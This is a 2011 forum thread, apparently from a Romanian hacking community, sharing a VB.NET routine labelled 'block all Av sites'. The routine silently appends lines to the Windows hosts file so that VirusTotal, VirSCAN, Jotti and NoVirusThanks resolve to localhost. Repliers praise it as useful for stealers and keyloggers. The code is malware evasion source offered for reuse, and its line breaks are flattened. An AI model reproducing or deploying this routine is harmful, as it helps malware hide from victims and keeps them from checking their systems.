Skream Example Posted April 13, 2011 Report Posted April 13, 2011 Imports System.IOImports System.Reflection#Region " block all Av sites " Public Shared Sub avbloker() 'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt") 'objWriter.Write("xfind2") 'objWriter.Close() Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts" Dim sw As New StreamWriter(path, True) Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com" Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org" Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org" Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org" sw.Write(sitetoblock) sw.Write(vbNewLine & sitetoblock1) sw.Write(vbNewLine & sitetoblock2) sw.Write(vbNewLine & sitetoblock3) sw.Close() EndEnd Sub#End Region Quote
luke999 Posted April 13, 2011 Report Posted April 13, 2011 asta se putea face mai simplu putin... oricum e fff bine , si util pentru viitor mai ales pt stealare keyloggere etc...oricum sunt sigur ca pentru asta ai facut codul Quote
nSnoopy Posted April 13, 2011 Report Posted April 13, 2011 asta se putea face mai simplu putin... oricum e fff bine , si util pentru viitor mai ales pt stealare keyloggere etc...oricum sunt sigur ca pentru asta ai facut codulNu e facut de el E gasit pe net, dc nu pui si sursa ? Quote